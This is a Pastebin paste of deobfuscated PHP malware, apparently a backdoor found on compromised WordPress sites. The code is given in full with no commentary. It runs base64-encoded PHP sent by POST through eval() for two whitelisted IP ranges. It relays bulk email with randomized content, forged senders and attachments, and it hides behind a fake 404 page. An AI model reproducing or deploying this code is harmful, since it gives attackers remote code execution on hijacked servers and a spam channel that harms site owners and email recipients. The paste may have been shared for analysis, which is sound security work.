felmoltor

PHP Spam Relay [deobf] - Wordpress Payload

Oct 8th, 2014
422
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 13.16 KB | None | 0 0
  1. <?php
  2. if(isset($_POST["code"]) && isset($_POST["custom_action"]) && is_good_ip($_SERVER['REMOTE_ADDR']))
  3. {
  4.     eval(base64_decode($_POST["code"]));
  5.     exit();
  6. }
  7.  
  8. if (isset($_POST["type"]) && $_POST["type"]=="1")
  9. {
  10.     type1_send();
  11.     exit();
  12. }
  13. elseif (isset($_POST["type"]) && $_POST["type"]=="2")
  14. {
  15.  
  16. }
  17. elseif (isset($_POST["type"]))
  18. {
  19.     echo $_POST["type"];
  20.     exit();
  21. }
  22.  
  23. error_404();
  24.  
  25. function is_good_ip($ip)
  26. {
  27.     $goods = Array("6.185.239.", "8.138.118.");
  28.    
  29.     foreach ($goods as $good)
  30.     {
  31.         if (strstr($ip, $good) != FALSE)
  32.         {
  33.             return TRUE;
  34.         }
  35.     }
  36.    
  37.     return FALSE;
  38. }
  39.  
  40. function type1_send()
  41. {
  42.     if(!isset($_POST["emails"])
  43.             OR !isset($_POST["themes"])
  44.             OR !isset($_POST["messages"])
  45.             OR !isset($_POST["froms"])
  46.             OR !isset($_POST["mailers"])
  47.     )
  48.     {
  49.         exit();
  50.     }
  51.  
  52.     if(get_magic_quotes_gpc())
  53.     {
  54.         foreach($_POST as $key => $post)
  55.         {
  56.             $_POST[$key] = stripcslashes($post);
  57.         }
  58.     }
  59.  
  60.     $emails = @unserialize(base64_decode($_POST["emails"]));
  61.     $themes = @unserialize(base64_decode($_POST["themes"]));
  62.     $messages = @unserialize(base64_decode($_POST["messages"]));
  63.     $froms = @unserialize(base64_decode($_POST["froms"]));
  64.     $mailers = @unserialize(base64_decode($_POST["mailers"]));
  65.     $aliases = @unserialize(base64_decode($_POST["aliases"]));
  66.     $passes = @unserialize(base64_decode($_POST["passes"]));
  67.  
  68.     if(isset($_SERVER))
  69.     {
  70.         $_SERVER['PHP_SELF'] = "/";
  71.         $_SERVER['REMOTE_ADDR'] = "127.0.0.1";
  72.         if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
  73.         {
  74.             $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
  75.         }
  76.     }
  77.  
  78.     if(isset($_FILES))
  79.     {
  80.         foreach($_FILES as $key => $file)
  81.         {
  82.             $filename = alter_macros($aliases[$key]);
  83.             $filename = num_macros($filename);
  84.             $filename = text_macros($filename);
  85.             $filename = xnum_macros($filename);
  86.             $_FILES[$key]["name"] = $filename;
  87.         }
  88.     }
  89.  
  90.     if(empty($emails))
  91.     {
  92.         exit();
  93.     }
  94.  
  95.     foreach ($emails as $fteil => $email)
  96.     {
  97.         $theme = $themes[array_rand($themes)];
  98.         $theme = alter_macros($theme["theme"]);
  99.         $theme = num_macros($theme);
  100.         $theme = text_macros($theme);
  101.         $theme = xnum_macros($theme);
  102.  
  103.         $message = $messages[array_rand($messages)];
  104.         $message = alter_macros($message["message"]);
  105.         $message = num_macros($message);
  106.         $message = text_macros($message);
  107.         $message = xnum_macros($message);
  108.         //$message = pass_macros($message, $passes);
  109.         $message = fteil_macros($message, $fteil);
  110.  
  111.         $from = $froms[array_rand($froms)];
  112.         $from = alter_macros($from["from"]);
  113.         $from = num_macros($from);
  114.         $from = text_macros($from);
  115.         $from = xnum_macros($from);
  116.        
  117.         if (strstr($from, "[CUSTOM]") == FALSE)
  118.         {
  119.             $from = from_host($from);
  120.         }
  121.         else
  122.         {
  123.             $from = str_replace("[CUSTOM]", "", $from);
  124.         }
  125.  
  126.         $mailer = $mailers[array_rand($mailers)];
  127.  
  128.         send_mail($from, $email, $theme, $message, $mailer);
  129.     }
  130. }
  131.  
  132. function send_mail($from, $to, $subj, $text, $mailer)
  133. {
  134.     $head = "";
  135.  
  136.     $un = strtoupper(uniqid(time()));
  137.  
  138.     $head .= "From: $from\n";
  139.     $head .= "X-Mailer: $mailer\n";
  140.     $head .= "Reply-To: $from\n";
  141.  
  142.     $head .= "Mime-Version: 1.0\n";
  143.     $head .= "Content-Type: multipart/alternative;";
  144.     $head .= "boundary=\"----------".$un."\"\n\n";
  145.    
  146.     $plain = strip_tags($text);
  147.     $zag = "------------".$un."\nContent-Type: text/plain; charset=\"ISO-8859-1\"; format=flowed\n";
  148.     $zag .= "Content-Transfer-Encoding: 7bit\n\n".$plain."\n\n";
  149.    
  150.     $zag .= "------------".$un."\nContent-Type: text/html; charset=\"ISO-8859-1\";\n";
  151.     $zag .= "Content-Transfer-Encoding: 7bit\n\n$text\n\n";
  152.     $zag .= "------------".$un."--";
  153.    
  154.     if(count($_FILES) > 0)
  155.     {
  156.         foreach($_FILES as $file)
  157.         {
  158.             if(file_exists($file["tmp_name"]))
  159.             {
  160.                 $f = fopen($file["tmp_name"], "rb");
  161.                 $zag .= "------------".$un."\n";
  162.                 $zag .= "Content-Type: application/octet-stream;";
  163.                 $zag .= "name=\"".$file["name"]."\"\n";
  164.                 $zag .= "Content-Transfer-Encoding:base64\n";
  165.                 $zag .= "Content-Disposition:attachment;";
  166.                 $zag .= "filename=\"".$file["name"]."\"\n\n";
  167.                 $zag .= chunk_split(base64_encode(fread($f, filesize($file["tmp_name"]))))."\n";
  168.                 fclose($f);
  169.             }
  170.         }
  171.     }
  172.  
  173.     if(@mail($to, $subj, $zag, $head))
  174.     {
  175.         if(!empty($_POST['verbose']))
  176.             echo "SENDED";
  177.     }
  178.     else
  179.     {
  180.         if(!empty($_POST['verbose']))
  181.             echo "FAIL";
  182.     }
  183. }
  184.  
  185. function alter_macros($content)
  186. {
  187.     preg_match_all('#{(.*)}#Ui', $content, $matches);
  188.  
  189.     for($i = 0; $i < count($matches[1]); $i++)
  190.     {
  191.  
  192.         $ns = explode("|", $matches[1][$i]);
  193.         $c2 = count($ns);
  194.         $rand = rand(0, ($c2 - 1));
  195.         $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
  196.     }
  197.     return $content;
  198. }
  199.  
  200. function text_macros($content)
  201. {
  202.     preg_match_all('#\[TEXT\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
  203.  
  204.     for($i = 0; $i < count($matches[0]); $i++)
  205.     {
  206.         $min = $matches[1][$i];
  207.         $max = $matches[2][$i];
  208.         $rand = rand($min, $max);
  209.         $word = generate_word($rand);
  210.  
  211.         $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
  212.     }
  213.  
  214.     preg_match_all('#\[TEXT\-([[:digit:]]+)\]#', $content, $matches);
  215.  
  216.     for($i = 0; $i < count($matches[0]); $i++)
  217.     {
  218.         $count = $matches[1][$i];
  219.  
  220.         $word  = generate_word($count);
  221.  
  222.         $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
  223.     }
  224.  
  225.  
  226.     return $content;
  227. }
  228.  
  229. function xnum_macros($content)
  230. {
  231.     preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);
  232.  
  233.     for($i = 0; $i < count($matches[0]); $i++)
  234.     {
  235.         $num = $matches[1][$i];
  236.         $min = pow(10, $num - 1);
  237.         $max = pow(10, $num) - 1;
  238.  
  239.         $rand = rand($min, $max);
  240.         $content = str_replace($matches[0][$i], $rand, $content);
  241.     }
  242.     return $content;
  243. }
  244.  
  245. function num_macros($content)
  246. {
  247.     preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
  248.  
  249.     for($i = 0; $i < count($matches[0]); $i++)
  250.     {
  251.         $min = $matches[1][$i];
  252.         $max = $matches[2][$i];
  253.         $rand = rand($min, $max);
  254.         $content = str_replace($matches[0][$i], $rand, $content);
  255.     }
  256.     return $content;
  257. }
  258.  
  259. function generate_word($length)
  260. {
  261.     $chars = 'abcdefghijklmnopqrstuvyxz';
  262.     $numChars = strlen($chars);
  263.     $string = '';
  264.     for($i = 0; $i < $length; $i++)
  265.     {
  266.         $string .= substr($chars, rand(1, $numChars) - 1, 1);
  267.     }
  268.     return $string;
  269. }
  270.  
  271. function pass_macros($content, $passes)
  272. {
  273.     $pass = array_pop($passes);
  274.    
  275.     return str_replace("[PASS]", $pass, $content);
  276. }
  277.  
  278. function fteil_macros($content, $fteil)
  279. {    
  280.     return str_replace("[FTEIL]", $fteil, $content);
  281. }
  282.  
  283. function is_ip($str) {
  284.   return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str);
  285. }
  286.  
  287. function from_host($content)
  288. {
  289.  
  290.     $host = preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']);
  291.  
  292.     if (is_ip($host))
  293.     {
  294.         return $content;
  295.     }
  296.    
  297.     $tokens = explode("@", $content);
  298.  
  299.     $content = $tokens[0] . "@" . $host . ">";
  300.  
  301.     return $content;
  302. }
  303.  
  304. function error_404()
  305. {
  306.     header("HTTP/1.1 404 Not Found");
  307.  
  308.     $uri = preg_replace('/(\?).*$/', '', $_SERVER['REQUEST_URI'] );
  309.  
  310.     $content = custom_http_request1("http://".$_SERVER['HTTP_HOST']."/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA");
  311.     $content = str_replace( "/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA", $uri, $content );
  312.  
  313.     exit( $content );
  314. }
  315.  
  316.  
  317. function custom_http_request1($params)
  318. {
  319.     if( ! is_array($params) )
  320.     {
  321.         $params = array(
  322.             'url' => $params,
  323.             'method' => 'GET'
  324.         );
  325.     }
  326.    
  327.     if( $params['url']=='' ) return FALSE;
  328.    
  329.     if( ! isset($params['method']) ) $params['method'] = (isset($params['data'])&&is_array($params['data'])) ? 'POST' : 'GET';
  330.     $params['method'] = strtoupper($params['method']);
  331.     if( ! in_array($params['method'], array('GET', 'POST')) ) return FALSE;
  332.    
  333.     /* Приводим ссылку в правильный вид */
  334.     $url = parse_url($params['url']);
  335.     if( ! isset($url['scheme']) ) $url['scheme'] = 'http';
  336.     if( ! isset($url['path']) ) $url['path'] = '/';
  337.     if( ! isset($url['host']) && isset($url['path']) )
  338.     {
  339.         if( strpos($url['path'], '/') )
  340.         {
  341.             $url['host'] = substr($url['path'], 0, strpos($url['path'], '/'));
  342.             $url['path'] = substr($url['path'], strpos($url['path'], '/'));
  343.         }
  344.         else
  345.         {
  346.             $url['host'] = $url['path'];
  347.             $url['path'] = '/';
  348.         }
  349.     }
  350.     $url['path'] = preg_replace("/[\\/]+/", "/", $url['path']);
  351.     if( isset($url['query']) ) $url['path'] .= "?{$url['query']}";
  352.    
  353.     $port = isset($params['port']) ? $params['port']
  354.             : ( isset($url['port']) ? $url['port'] : ($url['scheme']=='https'?443:80) );
  355.    
  356.     $timeout = isset($params['timeout']) ? $params['timeout'] : 30;
  357.     if( ! isset($params['return']) ) $params['return'] = 'content';
  358.    
  359.     $scheme = $url['scheme']=='https' ? 'ssl://':'';
  360.     $fp = @fsockopen($scheme.$url['host'], $port, $errno, $errstr, $timeout);
  361.     if( $fp )
  362.     {
  363.         /* Mozilla */
  364.         if( ! isset($params['User-Agent']) ) $params['User-Agent'] = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16";
  365.        
  366.         $request = "{$params['method']} {$url['path']} HTTP/1.0\r\n";
  367.         $request .= "Host: {$url['host']}\r\n";
  368.         $request .= "User-Agent: {$params['User-Agent']}"."\r\n";
  369.         if( isset($params['referer']) ) $request .= "Referer: {$params['referer']}\r\n";
  370.         if( isset($params['cookie']) )
  371.         {
  372.             $cookie = "";
  373.             if( is_array($params['cookie']) ) {foreach( $params['cookie'] as $k=>$v ) $cookie .= "$k=$v; "; $cookie = substr($cookie,0,-2);}
  374.             else $cookie = $params['cookie'];
  375.             if( $cookie!='' ) $request .= "Cookie: $cookie\r\n";
  376.         }
  377.         $request .= "Connection: close\r\n";
  378.         if( $params['method']=='POST' )
  379.         {
  380.             if( isset($params['data']) && is_array($params['data']) )
  381.             {
  382.                 foreach($params['data'] AS $k => $v)
  383.                     $data .= urlencode($k).'='.urlencode($v).'&';
  384.                 if( substr($data, -1)=='&' ) $data = substr($data,0,-1);
  385.             }
  386.             $data .= "\r\n\r\n";
  387.            
  388.             $request .= "Content-type: application/x-www-form-urlencoded\r\n";
  389.             $request .= "Content-length: ".strlen($data)."\r\n";
  390.         }
  391.         $request .= "\r\n";
  392.        
  393.         if( $params['method'] == 'POST' ) $request .= $data;
  394.        
  395.         @fwrite ($fp,$request); /* Send request */
  396.        
  397.         $res = ""; $headers = ""; $h_detected = false;
  398.         while( !@feof($fp) )
  399.         {
  400.             $res .= @fread($fp, 1024); /* читаем контент */
  401.    
  402.             /* Проверка наличия загловков в контенте */
  403.             if( ! $h_detected && strpos($res, "\r\n\r\n")!==FALSE )
  404.             {
  405.                 /* заголовки уже считаны - корректируем контент */
  406.                 $h_detected = true;
  407.                
  408.                 $headers = substr($res, 0, strpos($res, "\r\n\r\n"));
  409.                 $res = substr($res, strpos($res, "\r\n\r\n")+4);
  410.                
  411.                 /* Headers to Array */
  412.                 if( $params['return']=='headers' || $params['return']=='array'
  413.                     || (isset($params['redirect']) && $params['redirect']==true) )
  414.                 {
  415.                     $h = explode("\r\n", $headers);
  416.                     $headers = array();
  417.                     foreach( $h as $k=>$v )
  418.                     {
  419.                         if( strpos($v, ':') )
  420.                         {
  421.                             $k = substr($v, 0, strpos($v, ':'));
  422.                             $v = trim(substr($v, strpos($v, ':')+1));
  423.                         }
  424.                         $headers[strtoupper($k)] = $v;
  425.                     }
  426.                 }
  427.                 if( isset($params['redirect']) && $params['redirect']==true && isset($headers['LOCATION']) )
  428.                 {
  429.                     $params['url'] = $headers['LOCATION'];
  430.                     if( !isset($params['redirect-count']) ) $params['redirect-count'] = 0;
  431.                     if( $params['redirect-count']<10 )
  432.                     {
  433.                         $params['redirect-count']++;
  434.                         $func = __FUNCTION__;
  435.                         return @is_object($this) ? $this->$func($params) : $func($params);
  436.                     }
  437.                 }
  438.                 if( $params['return']=='headers' ) return $headers;
  439.             }
  440.         }
  441.        
  442.         @fclose($fp);
  443.     }
  444.     else return FALSE;/* $errstr.$errno; */
  445.    
  446.     if( $params['return']=='array' ) $res = array('headers'=>$headers, 'content'=>$res);
  447.    
  448.     return $res;
  449. }
  450. ?>
Add Comment
Please, Sign In to add comment